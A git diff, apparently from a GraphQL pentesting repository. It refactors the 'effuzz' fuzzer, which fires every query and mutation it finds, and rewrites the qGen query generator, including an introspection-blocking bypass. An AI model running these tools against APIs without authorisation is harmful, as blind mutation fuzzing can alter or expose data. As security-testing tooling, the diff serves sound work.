core_intro.load_from_file(args.introspection) if introspection_data is None: sys.exit(1) - print(f"✅ Introspection cargada desde: {INTROSPECTION_FILE}") + print(f"[+] Schema loaded from file: {args.introspection}") else: - # No introspection file provided -> perform introspection automatically - print(f"[*] No se ha pasado --introspection; intentando obtener introspección desde {GRAPHQL_URL} ...") - result = perform_introspection_request(GRAPHQL_URL, HEADERS) - if result is None: - print("❌ No se pudo obtener la introspección del endpoint. Salida.") + print(f"[*] Fetching introspection from {graphql_url} ...") + introspection_data, strategy = core_intro.fetch_with_bypass(graphql_url, headers) + if introspection_data is None: + print("[!] Could not obtain introspection from endpoint.", file=sys.stderr) sys.exit(1) - introspection_data = result - print("✅ Introspection obtenida del endpoint.") + tag = " (via newline bypass)" if strategy == "bypass" else "" + print(f"[+] Introspection obtained{tag}.") if args.save_introspection: - save_introspection_file(introspection_data, path="introspection_schema.json") + core_intro.save_to_file(introspection_data) - # Validate introspection structure - if not isinstance(introspection_data, dict): - print("❌ La introspección cargada no es un objeto JSON válido.") + schema = core_intro.extract_schema(introspection_data) + if not schema: + print("[!] '__schema' not found in introspection.", file=sys.stderr) sys.exit(1) - # Support both shapes: {"data": {"__schema": ...}} or {"__schema": ...} - schema = None - if "data" in introspection_data and isinstance(introspection_data["data"], dict): - schema = introspection_data["data"].get("__schema", {}) - else: - schema = introspection_data.get("__schema", {}) - - if not isinstance(schema, dict) or not schema: - print("❌ No se encontró '__schema' en la introspección o es inválido.") - sys.exit(1) + types = schema.get("types") or [] - types = schema.get("types", []) - - # Extract queries and mutations - def get_fields(type_name: Optional[str]): + def _get_fields(type_name: Optional[str]) -> List[str]: if not type_name: return [] for t in types: if t.get("name") == type_name: - return [f["name"] for f in t.get("fields", [])] if t.get("fields") else [] + return [f["name"] for f in (t.get("fields") or [])] return [] - query_type_name = schema.get("queryType", {}).get("name") - mutation_type_name = schema.get("mutationType", {}).get("name") + queries = _get_fields((schema.get("queryType") or {}).get("name")) + mutations = _get_fields((schema.get("mutationType") or {}).get("name")) - queries = get_fields(query_type_name) if query_type_name else [] - mutations = get_fields(mutation_type_name) if mutation_type_name else [] + ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + print(f"\n[+] Schema: {len(queries)} queries, {len(mutations)} mutations") + print(f"[*] Target: {graphql_url} | {ts}") - print(f"[✓] Introspection cargada ({len(queries)} queries, {len(mutations)} mutations)") - print("------------------------------------------------------------") + # ------------------------------------------------------------------ # + # Fuzz # + # ------------------------------------------------------------------ # + fuzz_fields(graphql_url, headers, queries, "queries", + variables_value, False, + match_codes, filter_codes, args.silent, args.debug) - # ======================================================================== - # Minimal ffuf-like processing: para cada método en queries, enviamos una petición - # y mostramos status/size/words/lines. Este bloque puede ampliarse con payloads, - # control de códigos, filtros, etc. (mantiene la funcionalidad básica del original). - # ======================================================================== + fuzz_fields(graphql_url, headers, mutations, "mutations", + variables_value, True, + match_codes, filter_codes, args.silent, args.debug) + + print("\n[*] effuzz done.") - if not queries: - print("⚠️ No se han encontrado queries para probar.") - else: - print("Probando queries (envío minimal):") - for qname in queries: - payload_query = build_minimal_query_for_method(qname) - payload = {"query": payload_query} - # Si variables globales fueron provistas, intentar incluirlas (aunque la query minimal no las usa) - if variables_value: - payload["variables"] = variables_value - resp = perform_request(GRAPHQL_URL, HEADERS, payload) - if resp is None: - print(f"{qname:30} -> {RED}request failed{RESET}") - continue - code = resp.status_code - size, words, lines = response_stats(resp) - colored = color_status(code, resp) - # Aplica filtros si están presentes - if match_codes and code not in match_codes: - continue - if filter_codes and code in filter_codes: - continue - if args.silent and code == 401: - continue - - print(f"{qname:30} [Status: {colored}] [Size: {size}] [Words: {words}] [Lines: {lines}]") - - if args.debug: - try: - print("---- RESPONSE JSON ----") - print(json.dumps(resp.json(), indent=2, ensure_ascii=False)) - except Exception: - print("---- RESPONSE TEXT ----") - print(resp.text) - - print("------------------------------------------------------------") - print("Fin de effuzz. (Este script hace una comprobación básica; modifica el bucle para incluir payloads, concurrencia u otras heurísticas según necesites.)") if __name__ == "__main__": main() diff --git a/qGen/README.md b/qGen/README.md deleted file mode 100644 index 020d5af..0000000 --- a/qGen/README.md +++ /dev/null @@ -1,132 +0,0 @@ -```markdown -# Query Generator (qGen) - -This script helps you to generate sample queries for enormous GraphQL endpoints. - -```shell - ██████╗ ██████╗ ███████╗███╗ ██╗ -██╔═══██╗██╔════╝ ██╔════╝████╗ ██║ -██║ ██║██║ ███╗█████╗ ██╔██╗ ██║ -██║▄▄ ██║██║ ██║██╔══╝ ██║╚██╗██║ -╚██████╔╝╚██████╔╝███████╗██║ ╚████║ - ╚══▀▀═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ -``` - -## Usage - ->[!Important] ->You must either provide a saved introspection JSON file (e.g. `introspection_schema.json`) or allow qGen to fetch introspection automatically from a GraphQL endpoint by supplying `--url`. Automatic introspection requires the `requests` package. - -- To run with a local introspection file: - -```shell -python3 qGen.py --introspection /path/to/introspection_schema.json -``` - -- To run and let qGen obtain the introspection from a live endpoint (automatic mode): - -```shell -python3 qGen.py --url https://example.com/graphql \ - -H "Authorization: Bearer TOKEN" \ - --cookie /path/to/cookie.txt -``` - -Notes: -- Automatic introspection requires the Python package `requests` (install with `pip install requests`). -- When qGen fetches introspection automatically, the result is saved by default to `introspection_schema.json`. Use `--no-save-introspection` to avoid saving the file. - -- After starting, you'll be prompted with an interactive terminal: - -```shell -qGen $ -``` - -### Option 1 — List and select by index - -You can list all methods available in your schema and select the one you want: - -```shell -# ------ Listing methods and selecting one ------ -qGen $ listMethods - -[redacted] -[1] findAllUsers -[2] findAllPasswords -[3] findAllConfigFiles - -qGen $ use 1 -# Selecting a method with `use` immediately generates and prints the full query, -# and the query is automatically saved to queries/.txt -``` - -### Option 2 — Select by name - -Directly select a method by its name: - -```shell -# ------ Directly select one method ------ -qGen $ use findAllConfigFiles -# The query is generated and saved automatically -``` - -### Option 3 — Filtered listing with grep - -You can pipe the output of `listMethods` through a simple grep filter: - -```shell -# ------ Search for similar methods ------ -qGen $ listMethods | grep Id - -[redacted] -[11] findAllUsersById -[34] findAllPasswordsByUserId -[89] findAllConfigFilesByContractId - -qGen $ use 89 -# The full query for method 89 is generated and saved -``` - -## Available commands - -- You can use the following commands: - -```shell - help - Show the help message - listMethods - List all available GraphQL methods - use - Select a method (by index or name) and immediately generate & save its full query - exit - Exit the application -``` - -Notes about behavior and output -- The `use` command now combines selection and query generation: when you `use` a method, qGen prints the complete GraphQL query (including nested selections) and saves it into `queries/.txt`. -- Saved queries are stored in the `queries/` directory (created automatically if missing). -- A typical generated query will include all scalar fields and descend into nested object fields where possible (respecting cycles by avoiding repeated types). - -Example interactive output (sample) -```text -qGen $ use getAllUsers - ----------------------------------------- -query getAllUsers { - getAllUsers { - id - username - email - profile { - id - name - } - } -} ----------------------------------------- - -📁 Query saved to: queries/getAllUsers.txt -``` - -Troubleshooting -- If automatic introspection fails, check: - - That the `--url` is correct and reachable. - - Authentication headers or cookie are correct (`-H "Authorization: Bearer ..."` or `--cookie /path/to/cookie.txt`). - - That the server responds to GraphQL introspection and returns JSON containing `__schema`. -- If you prefer to avoid network fetching, run the introspection query separately (using curl, GraphiQL, or another client), save the JSON, and pass it with `--introspection`. -- If a generated query is too large for your client, consider manually trimming fields or selecting nested fields selectively. diff --git a/qGen/qGen.py b/qGen/qGen.py deleted file mode 100644 index bd234d0..0000000 --- a/qGen/qGen.py +++ /dev/null @@ -1,598 +0,0 @@ -#!/usr/bin/env python3 -import json -import os -import sys -import argparse -import textwrap -from typing import Dict, Any, List, Optional - -# Try to import requests; if missing, we'll show a helpful message when needed -try: - import requests -except Exception: - requests = None - -# ANSI COLORS -RED = "\033[31m" -GREY = "\033[90m" -BLUE = "\033[34m" -YELLOW = "\033[33m" -CYAN = "\033[36m" -RESET = "\033[0m" - -def print_banner(): - print(f""" -{YELLOW} - ██████╗ ██████╗ ███████╗███╗ ██╗ -██╔═══██╗██╔════╝ ██╔════╝████╗ ██║ -██║ ██║██║ ███╗█████╗ ██╔██╗ ██║ -██║▄▄ ██║██║ ██║██╔══╝ ██║╚██╗██║ -╚██████╔╝╚██████╔╝███████╗██║ ╚████║ - ╚══▀▀═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ v1.0 -{RESET} - -{CYAN}made by gitblanc — https://github.com/gitblanc/QGen{RESET} - -""") - -def load_introspection(): - while True: - path = input("Enter introspection JSON file path: ").strip() - - if not os.path.exists(path): - print("❌ File not found. Try again.\n") - continue - - try: - with open(path, "r", encoding="utf-8") as f: - data = json.load(f) - print("✅ Introspection successfully loaded.\n") - return data - except Exception as e: - print(f"❌ Error reading JSON: {e}\n") - -# Introspection query used when obtaining schema from endpoint. -# NOTE: includes inputFields for input objects so we can expand them inline. -INTROSPECTION_QUERY = """ -query IntrospectionQuery { - __schema { - queryType { name } - mutationType { name } - types { - kind - name - fields(includeDeprecated: true) { - name - args { - name - type { kind name ofType { kind name ofType { kind name } } } - } - type { kind name ofType { kind name } } - } - inputFields { - name - description - defaultValue - type { kind name ofType { kind name ofType { kind name } } } - } - enumValues { - name - } - } - } -} -""" - -def parse_header_list(headers_list: List[str]) -> Dict[str, str]: - """ - Convert list of 'Name: Value' strings to a dict (last wins for duplicates). - """ - hdrs: Dict[str, str] = {} - for h in headers_list or []: - if ":" not in h: - print(f"⚠️ Ignoring malformed header (expected 'Name: Value'): {h}") - continue - name, value = h.split(":", 1) - hdrs[name.strip()] = value.strip() - return hdrs - -def perform_introspection_request(url: str, headers: Dict[str, str], timeout: int = 15) -> Optional[Dict[str, Any]]: - """ - Perform a POST request to the GraphQL endpoint with the introspection query. - Returns parsed JSON on success, or None on failure. - """ - if requests is None: - print("❌ The 'requests' library is required for automatic introspection. Install with: pip install requests") - return None - - try: - resp = requests.post(url, headers=headers, json={"query": INTROSPECTION_QUERY}, timeout=timeout) - except requests.exceptions.RequestException as e: - print(f"❌ HTTP error while requesting introspection: {e}") - return None - - try: - data = resp.json() - except Exception as e: - print(f"❌ Response is not valid JSON: {e}") - return None - - if (isinstance(data, dict) and - ((data.get("data") and isinstance(data["data"], dict) and "__schema" in data["data"]) or ("__schema" in data))): - return data - - print("❌ Introspection response does not contain '__schema' (not a valid GraphQL introspection).") - return None - -def save_introspection_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: - try: - with open(path, "w", encoding="utf-8") as fh: - json.dump(data, fh, indent=2, ensure_ascii=False) - print(f"✅ Introspection saved to: {path}") - except Exception as e: - print(f"⚠️ Failed to save introspection to {path}: {e}") - -# Extract query and mutation fields -def extract_graphql_queries(introspection): - try: - types = introspection["data"]["__schema"]["types"] - except Exception: - return [] - - methods = [] - - # Extract query fields (if present) - query_type = introspection["data"]["__schema"].get("queryType") - query_type_name = query_type.get("name") if isinstance(query_type, dict) else query_type - if query_type_name: - qtype = next((t for t in types if t.get("name") == query_type_name), None) - if qtype and "fields" in qtype: - for f in qtype["fields"]: - f_copy = f.copy() - f_copy["_root"] = "query" - methods.append(f_copy) - - # Extract mutation fields (if present) - mutation_type = introspection["data"]["__schema"].get("mutationType") - mutation_type_name = mutation_type.get("name") if isinstance(mutation_type, dict) else mutation_type - if mutation_type_name: - mtype = next((t for t in types if t.get("name") == mutation_type_name), None) - if mtype and "fields" in mtype: - for f in mtype["fields"]: - f_copy = f.copy() - f_copy["_root"] = "mutation" - methods.append(f_copy) - - return methods - - -# Follow NON_NULL / LIST / etc. -def resolve_type(t): - # t is expected to be a dict with possible 'ofType' recursing - while isinstance(t, dict) and t.get("ofType") is not None: - t = t["ofType"] - return t - -# Recursively build full field tree for the query (response shape) -def build_field_tree(field_type, types, depth=0, visited=None): - if visited is None: - visited = set() - - field_type = resolve_type(field_type) - - # Some types might not have a name (e.g., scalars) - guard - name = field_type.get("name") - if name and name in visited: - return "" - - if name: - visited.add(name) - - if field_type.get("kind") != "OBJECT": - return "" - - obj = next((t for t in types if t["name"] == field_type["name"]), None) - if not obj or "fields" not in obj: - return "" - - indent = " " * depth - result = "" - - for f in obj["fields"]: - f_type = resolve_type(f["type"]) - f_name = f["name"] - - if f_type.get("kind") == "OBJECT": - sub = build_field_tree(f["type"], types, depth + 1, visited.copy()) - result += f"{indent}{f_name} {{\n{sub}{indent}}}\n" - else: - result += f"{indent}{f_name}\n" - - return result - -def save_query_to_file(method_name, query_text): - # Ensure directory exists - os.makedirs("queries", exist_ok=True) - - path = f"queries/{method_name}.txt" - - try: - with open(path, "w", encoding="utf-8") as f: - f.write(query_text) - print(f"📁 Query saved to: {path}\n") - except Exception as e: - print(f"❌ Error saving query: {e}") - -def stringify_type(t): - """Convert GraphQL type tree into a printable type string.""" - if not isinstance(t, dict): - return "Unknown" - if t.get("kind") == "NON_NULL": - return f"{stringify_type(t['ofType'])}!" - elif t.get("kind") == "LIST": - return f"[{stringify_type(t['ofType'])}]" - else: - return t.get("name", "Unknown") - -# Helpers to build inline input objects with example values -def build_input_object(type_ref, types, depth=0, visited=None): - """ - Given a type reference (dict with kind/name/ofType), find the corresponding INPUT_OBJECT - type definition in 'types' and return a formatted inline object string like: - { username: "user", password: "pass" } - """ - if visited is None: - visited = set() - - resolved = resolve_type(type_ref) - type_name = resolved.get("name") - if not type_name: - return "{}" - - if type_name in visited: - return "{}" - visited.add(type_name) - - type_obj = next((t for t in types if t.get("name") == type_name), None) - if not type_obj: - return "{}" - - input_fields = type_obj.get("inputFields") or [] - indent = " " * depth - inner_indent = " " * (depth + 1) - - parts = [] - for f in input_fields: - fname = f["name"] - # If defaultValue is provided in introspection, use it - if f.get("defaultValue") is not None: - val = f["defaultValue"] - # defaultValue in introspection is a string representation; leave as-is - parts.append(f"{inner_indent}{fname}: {val}") - continue - - val = format_input_value(f["type"], types, fname, depth + 1, visited.copy()) - parts.append(f"{inner_indent}{fname}: {val}") - - if not parts: - return "{}" - - if depth == 0: - # single-line compact for top-level input - inner = ", ".join(p.strip() for p in parts) - return "{ " + inner + " }" - else: - # multi-line with indentation - body = "\n".join(parts) - return "{\n" + body + f"\n{indent}}}" - -def format_input_value(type_ref, types, field_name=None, depth=0, visited=None): - """ - Return a string representing a sample value for the given type reference. - Strings are quoted, booleans and numbers are unquoted, lists are bracketed, objects expanded. - """ - t = type_ref - # Handle NON_NULL / LIST wrappers - if not isinstance(t, dict): - return "\"example\"" - - if t.get("kind") == "NON_NULL": - return format_input_value(t["ofType"], types, field_name, depth, visited) - if t.get("kind") == "LIST": - # produce a single-element list - inner = format_input_value(t["ofType"], types, field_name, depth + 1, visited) - return f"[{inner}]" - - # Now resolved scalar/enum/input object/type - kind = t.get("kind") - name = t.get("name", "") - - # Primitive scalars - if kind == "SCALAR" or name in ("String", "ID", ""): - # sensible defaults by common field name - if field_name: - lname = field_name.lower() - if "user" in lname and "name" in lname: - return f"\"{field_name}_example\"" - if "name" == lname: - return f"\"{field_name}_example\"" - if "pass" in lname: - return "\"password123\"" - if "email" in lname: - return f"\"{field_name}@example.com\"" - if "msg" in lname or "message" in lname: - return f"\"{field_name}_example\"" - if "role" in lname: - return "\"user\"" - # default string - return "\"example\"" - if name in ("Int", "Float"): - return "0" - if name == "Boolean": - return "false" - - # Enums: try to pick first enum value if present - if kind == "ENUM" or (name and any(ti.get("name") == name and ti.get("enumValues") for ti in types)): - t_obj = next((ti for ti in types if ti.get("name") == name), None) - if t_obj: - enum_vals = t_obj.get("enumValues") or [] - if enum_vals: - first = enum_vals[0].get("name") - # enums are unquoted or sometimes unquoted values -> return first as bare token - return first if first is not None else "\"ENUM_VALUE\"" - return "\"ENUM_VALUE\"" - - # Input objects -> expand recursively - if kind == "INPUT_OBJECT" or (name and any(ti.get("name") == name and ti.get("inputFields") for ti in types)): - return build_input_object(t, types, depth, visited) - - # Fallback to string - return "\"example\"" - -def generate_full_query(method_field, introspection): - types = introspection["data"]["__schema"]["types"] - - # ---- Extract arguments ---- - args = method_field.get("args", []) or [] - variables = [] - call_args = [] - - # Decide per-arg whether to inline (INPUT_OBJECT) or use variable - for a in args: - var_name = a["name"] - resolved = resolve_type(a["type"]) - kind = resolved.get("kind") - name = resolved.get("name") - - if kind == "INPUT_OBJECT" or (name and any(t.get("name") == name and t.get("inputFields") for t in types)): - # inline expanded object - inline_obj = build_input_object(a["type"], types) - call_args.append(f"{var_name}: {inline_obj}") - else: - # keep as variable - var_type = stringify_type(a["type"]) - variables.append(f"${var_name}: {var_type}") - call_args.append(f"{var_name}: ${var_name}") - - # Build signature - variables_str = f"({', '.join(variables)})" if variables else "" - call_args_str = f"({', '.join(call_args)})" if call_args else "" - - # ---- Build field tree ---- - root_type = method_field["type"] - fields_tree = build_field_tree(root_type, types, depth=2) - - # Determine operation type (query or mutation) - operation = method_field.get("_root", "query") - - # ---- Build final query ---- - return f""" -{operation} {method_field['name']}{variables_str} {{ - {method_field['name']}{call_args_str} {{ -{fields_tree} - }} -}} -""".rstrip() - - -def print_help(): - print(""" -Available commands: - help - Show this help message - listMethods - List all available GraphQL methods - use - Select a method and immediately generate its full query - exit - Exit the application -""") - - -def interactive_console(methods, introspection): - selected_method = None - - print("Type 'help' to see available commands.\n") - - while True: - raw_cmd = input(f"{RED}Qgen ${RESET} ").strip() - - # --- PIPE SUPPORT --- - if "|" in raw_cmd: - left, _, right = raw_cmd.partition("|") - cmd = left.strip() - pipe_cmd = right.strip() - - if pipe_cmd.startswith("grep"): - _, _, grep_text = pipe_cmd.partition("grep") - grep_text = grep_text.strip().lower() - else: - print("❌ Unsupported pipe command.\n") - continue - else: - cmd = raw_cmd - pipe_cmd = None - # --------------------- - - # Allow shorthand: bare number or exact method name selects the method - # but don't override primary commands - if not cmd.startswith("use ") and cmd not in ("help", "listMethods", "exit", ""): - if cmd.isdigit(): - cmd = f"use {cmd}" - else: - if any(m["name"] == cmd for m in methods): - cmd = f"use {cmd}" - - # MAIN COMMAND HANDLING - if cmd == "help": - output = """Available commands: - help - Show this help message - listMethods - List all available GraphQL methods - use - Select a method and immediately generate its full query - exit - Exit the application -""" - if pipe_cmd: - output = "\n".join( - line for line in output.splitlines() if grep_text in line.lower() - ) - print(output) - - elif cmd == "listMethods": - lines = [] - for i, m in enumerate(methods, start=1): - root = m.get("_root", "query") - prefix = "Q" if root == "query" else "M" - lines.append(f" [{i}] ({prefix}) {m['name']}") - - if pipe_cmd: - lines = [l for l in lines if grep_text in l.lower()] - - print("\n📌 Available methods:") - for line in lines: - print(line) - print() - - elif cmd.startswith("use "): - _, _, value = cmd.partition(" ") - value = value.strip() - - if value.isdigit(): - idx = int(value) - 1 - if 0 <= idx < len(methods): - selected_method = methods[idx] - print(f"✔ Selected method: {selected_method['name']}\n") - else: - print("❌ Invalid method number.\n") - continue - else: - match = next((m for m in methods if m["name"] == value), None) - if match: - selected_method = match - print(f"✔ Selected method: {value}\n") - else: - print("❌ Method not found.\n") - continue - - # Unified behavior: immediately generate the full query for the selected method - try: - query = generate_full_query(selected_method, introspection) - print("\n----------------------------------------") - print(f"{BLUE}{query}{RESET}") - print("----------------------------------------\n") - - # Save the query automatically - save_query_to_file(selected_method["name"], query) - except Exception as e: - print(f"❌ Error generating query: {e}\n") - - elif cmd == "exit": - print("👋 Exiting...") - break - - else: - if cmd == "": - # ignore empty input - continue - print("❌ Unknown command. Type 'help' for the command list.\n") - - -def main(): - print_banner() - print("=== GraphQL Interactive CLI (extruder) ===\n") - - parser = argparse.ArgumentParser(description="GraphQL Introspection CLI Extruder") - parser.add_argument( - "--introspection", - type=str, - help="Path to introspection JSON file" - ) - # New: endpoint URL to query introspection if --introspection is omitted - parser.add_argument( - "--url", - type=str, - help="GraphQL endpoint URL to perform introspection automatically if --introspection is not provided" - ) - # Support repeated headers -H "Name: Value" - parser.add_argument("-H", "--header", action="append", default=[], help="Additional HTTP header to include when performing automatic introspection. Format: 'Name: Value'") - # Cookie file support (for automatic introspection) - parser.add_argument("--cookie", help="File containing cookie in plain text (one line) to use when performing automatic introspection") - # Saving option for automatic introspection - parser.add_argument("--save-introspection", dest="save_introspection", action="store_true", help="Save automatic introspection to introspection_schema.json") - parser.add_argument("--no-save-introspection", dest="save_introspection", action="store_false", help="Do not save automatic introspection to disk") - parser.set_defaults(save_introspection=True) - - args = parser.parse_args() - - introspection = None - - # If provided via CLI file, try to load it directly - if args.introspection: - if os.path.exists(args.introspection): - try: - with open(args.introspection, "r", encoding="utf-8") as f: - introspection = json.load(f) - print("✅ Introspection successfully loaded from CLI argument.\n") - except Exception as e: - print(f"❌ Error reading JSON: {e}\n") - return - else: - print("❌ File path passed to --introspection does not exist.\n") - return - else: - # Attempt to perform automatic introspection if --url provided - if args.url: - # Build headers: Content-Type + user provided headers + cookie (if provided) - headers = {"Content-Type": "application/json"} - extra_headers = parse_header_list(args.header) - if args.cookie: - if not os.path.exists(args.cookie): - print(f"❌ Cookie file not found: {args.cookie}\n") - return - with open(args.cookie, "r", encoding="utf-8") as f: - cookie_value = f.read().strip() - # Respect explicit Cookie header if user provided it via -H - if "Cookie" not in extra_headers: - extra_headers["Cookie"] = cookie_value - headers.update(extra_headers) - - print(f"[*] No --introspection provided; performing introspection query against {args.url} ...") - result = perform_introspection_request(args.url, headers) - if result is None: - print("❌ Could not obtain introspection from endpoint. Falling back to interactive prompt.\n") - introspection = load_introspection() - else: - introspection = result - print("✅ Introspection obtained from endpoint.\n") - if args.save_introspection: - save_introspection_file(introspection, path="introspection_schema.json") - else: - # Fall back to interactive prompt if no --url supplied - introspection = load_introspection() - - methods = extract_graphql_queries(introspection) - - if not methods: - print("❌ No GraphQL methods found in the introspection.") - return - - interactive_console(methods, introspection) - - -if __name__ == "__main__": - main() diff --git a/qgen/__init__.py b/qgen/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/qgen/qgen.py b/qgen/qgen.py new file mode 100644 index 0000000..a1de84b --- /dev/null +++ b/qgen/qgen.py @@ -0,0 +1,449 @@ +#!/usr/bin/env python3 +import json +import os +import sys +import argparse +from typing import Dict, Any, List, Optional + +# Allow running from any working directory +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +try: + import requests +except ImportError: + requests = None # type: ignore + +import core.introspection as core_intro +from core.http import build_headers +from core.output import RED, BLUE, YELLOW, CYAN, RESET + + +def print_banner(): + print(f""" +{YELLOW} + ██████╗ ██████╗ ███████╗███╗ ██╗ +██╔═══██╗██╔════╝ ██╔════╝████╗ ██║ +██║ ██║██║ ███╗█████╗ ██╔██╗ ██║ +██║▄▄ ██║██║ ██║██╔══╝ ██║╚██╗██║ +╚██████╔╝╚██████╔╝███████╗██║ ╚████║ + ╚══▀▀═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ v1.1 +{RESET} +{CYAN}made by gitblanc — https://github.com/gitblanc/QGen{RESET} +""") + + +def _prompt_introspection_file() -> Dict[str, Any]: + """Interactive fallback: ask the user for a path to an introspection JSON file.""" + while True: + path = input("Enter introspection JSON file path: ").strip() + if not os.path.isfile(path): + print(f"[!] File not found: {path!r}\n") + continue + data = core_intro.load_from_file(path) + if data is not None: + print("[+] Introspection loaded.\n") + return data + + +def extract_graphql_queries(introspection: Dict[str, Any]) -> List[Dict[str, Any]]: + """Extract query and mutation fields from an introspection response. + + Normalises both response shapes ({data:{__schema:...}} and {__schema:...}). + Each returned field dict gains a '_root' key ('query' or 'mutation'). + """ + schema = core_intro.extract_schema(introspection) + if not schema: + return [] + + types = schema.get("types") or [] + methods: List[Dict[str, Any]] = [] + + def _add_fields(type_name_ref, root_label: str): + if not isinstance(type_name_ref, dict): + return + type_name = type_name_ref.get("name") + if not type_name: + return + tdef = next((t for t in types if t.get("name") == type_name), None) + if tdef: + for f in (tdef.get("fields") or []): + methods.append({**f, "_root": root_label}) + + _add_fields(schema.get("queryType"), "query") + _add_fields(schema.get("mutationType"), "mutation") + return methods + + +def resolve_type(t: Any) -> Any: + """Unwrap NON_NULL / LIST wrappers to reach the named type.""" + while isinstance(t, dict) and t.get("ofType") is not None: + t = t["ofType"] + return t + + +def build_field_tree(field_type: Any, types: List[Dict[str, Any]], + depth: int = 0, visited: Optional[set] = None) -> str: + """Recursively build a GraphQL selection set string for an OBJECT type.""" + if visited is None: + visited = set() + + field_type = resolve_type(field_type) + name = field_type.get("name") if isinstance(field_type, dict) else None + + if name and name in visited: + return "" + if name: + visited.add(name) + if not isinstance(field_type, dict) or field_type.get("kind") != "OBJECT": + return "" + + obj = next((t for t in types if t.get("name") == field_type.get("name")), None) + if not obj or not obj.get("fields"): + return "" + + indent = " " * depth + result = "" + for f in obj["fields"]: + f_type = resolve_type(f["type"]) + f_name = f["name"] + if f_type.get("kind") == "OBJECT": + sub = build_field_tree(f["type"], types, depth + 1, visited.copy()) + result += f"{indent}{f_name} {{\n{sub}{indent}}}\n" + else: + result += f"{indent}{f_name}\n" + return result + + +def stringify_type(t: Any) -> str: + """Convert a GraphQL type tree dict to a readable type string (e.g. '[String!]').""" + if not isinstance(t, dict): + return "Unknown" + if t.get("kind") == "NON_NULL": + return f"{stringify_type(t['ofType'])}!" + if t.get("kind") == "LIST": + return f"[{stringify_type(t['ofType'])}]" + return t.get("name", "Unknown") + + +def build_input_object(type_ref: Any, types: List[Dict[str, Any]], + depth: int = 0, visited: Optional[set] = None) -> str: + """Expand an INPUT_OBJECT type into an inline example literal.""" + if visited is None: + visited = set() + + resolved = resolve_type(type_ref) + type_name = resolved.get("name") if isinstance(resolved, dict) else None + if not type_name or type_name in visited: + return "{}" + visited.add(type_name) + + type_obj = next((t for t in types if t.get("name") == type_name), None) + if not type_obj: + return "{}" + + input_fields = type_obj.get("inputFields") or [] + indent = " " * depth + inner_indent = " " * (depth + 1) + + parts = [] + for f in input_fields: + fname = f["name"] + if f.get("defaultValue") is not None: + parts.append(f"{inner_indent}{fname}: {f['defaultValue']}") + continue + val = format_input_value(f["type"], types, fname, depth + 1, visited.copy()) + parts.append(f"{inner_indent}{fname}: {val}") + + if not parts: + return "{}" + if depth == 0: + inner = ", ".join(p.strip() for p in parts) + return "{ " + inner + " }" + body = "\n".join(parts) + return "{\n" + body + f"\n{indent}}}" + + +def format_input_value(type_ref: Any, types: List[Dict[str, Any]], + field_name: Optional[str] = None, + depth: int = 0, + visited: Optional[set] = None) -> str: + """Generate a sensible example value for a given GraphQL type.""" + if not isinstance(type_ref, dict): + return '"example"' + if type_ref.get("kind") == "NON_NULL": + return format_input_value(type_ref["ofType"], types, field_name, depth, visited) + if type_ref.get("kind") == "LIST": + inner = format_input_value(type_ref["ofType"], types, field_name, depth + 1, visited) + return f"[{inner}]" + + kind = type_ref.get("kind") + name = type_ref.get("name", "") + + if kind == "SCALAR" or name in ("String", "ID", ""): + if field_name: + lname = field_name.lower() + if "pass" in lname: + return '"password123"' + if "email" in lname: + return f'"{field_name}@example.com"' + if "role" in lname: + return '"user"' + if "name" in lname: + return f'"{field_name}_example"' + if "msg" in lname or "message" in lname: + return f'"{field_name}_example"' + return '"example"' + if name in ("Int", "Float"): + return "0" + if name == "Boolean": + return "false" + + if kind == "ENUM" or any(t.get("name") == name and t.get("enumValues") for t in types): + tobj = next((t for t in types if t.get("name") == name), None) + if tobj: + vals = tobj.get("enumValues") or [] + if vals: + first = vals[0].get("name") + return first if first is not None else '"ENUM_VALUE"' + return '"ENUM_VALUE"' + + if kind == "INPUT_OBJECT" or any(t.get("name") == name and t.get("inputFields") for t in types): + return build_input_object(type_ref, types, depth, visited) + + return '"example"' + + +def generate_full_query(method_field: Dict[str, Any], + introspection: Dict[str, Any]) -> str: + """Build a complete GraphQL query/mutation for a given schema field.""" + schema = core_intro.extract_schema(introspection) + types = (schema.get("types") or []) if schema else [] + + args = method_field.get("args") or [] + variables: List[str] = [] + call_args: List[str] = [] + + for a in args: + var_name = a["name"] + resolved = resolve_type(a["type"]) + kind = resolved.get("kind") + type_name = resolved.get("name") + + is_input_obj = ( + kind == "INPUT_OBJECT" + or any(t.get("name") == type_name and t.get("inputFields") for t in types) + ) + if is_input_obj: + call_args.append(f"{var_name}: {build_input_object(a['type'], types)}") + else: + var_type = stringify_type(a["type"]) + variables.append(f"${var_name}: {var_type}") + call_args.append(f"{var_name}: ${var_name}") + + variables_str = f"({', '.join(variables)})" if variables else "" + call_args_str = f"({', '.join(call_args)})" if call_args else "" + + fields_tree = build_field_tree(method_field["type"], types, depth=2) + operation = method_field.get("_root", "query") + + return f""" +{operation} {method_field['name']}{variables_str} {{ + {method_field['name']}{call_args_str} {{ +{fields_tree} + }} +}}""".rstrip() + + +def save_query_to_file(method_name: str, query_text: str) -> None: + """Write a generated query to queries/.txt.""" + os.makedirs("queries", exist_ok=True) + path = f"queries/{method_name}.txt" + try: + with open(path, "w", encoding="utf-8") as f: + f.write(query_text) + print(f"[+] Query saved to: {path}\n") + except OSError as e: + print(f"[!] Error saving query: {e}") + + +def interactive_console(methods: List[Dict[str, Any]], + introspection: Dict[str, Any]) -> None: + print("Type 'help' to see available commands.\n") + + while True: + try: + raw_cmd = input(f"{RED}qgen ${RESET} ").strip() + except (EOFError, KeyboardInterrupt): + print("\n[+] Exiting.") + break + + # Pipe support: listMethods | grep + grep_text = None + if "|" in raw_cmd: + left, _, right = raw_cmd.partition("|") + raw_cmd = left.strip() + pipe_part = right.strip() + if pipe_part.startswith("grep"): + grep_text = pipe_part[4:].strip().lower() + else: + print("[!] Unsupported pipe command.\n") + continue + + cmd = raw_cmd + + # Allow bare number or exact method name as shorthand for 'use ' + if not cmd.startswith("use ") and cmd not in ("help", "listMethods", "exit", ""): + if cmd.isdigit(): + cmd = f"use {cmd}" + elif any(m["name"] == cmd for m in methods): + cmd = f"use {cmd}" + + if cmd == "help": + output = ( + "Available commands:\n" + " help - Show this help\n" + " listMethods - List all available 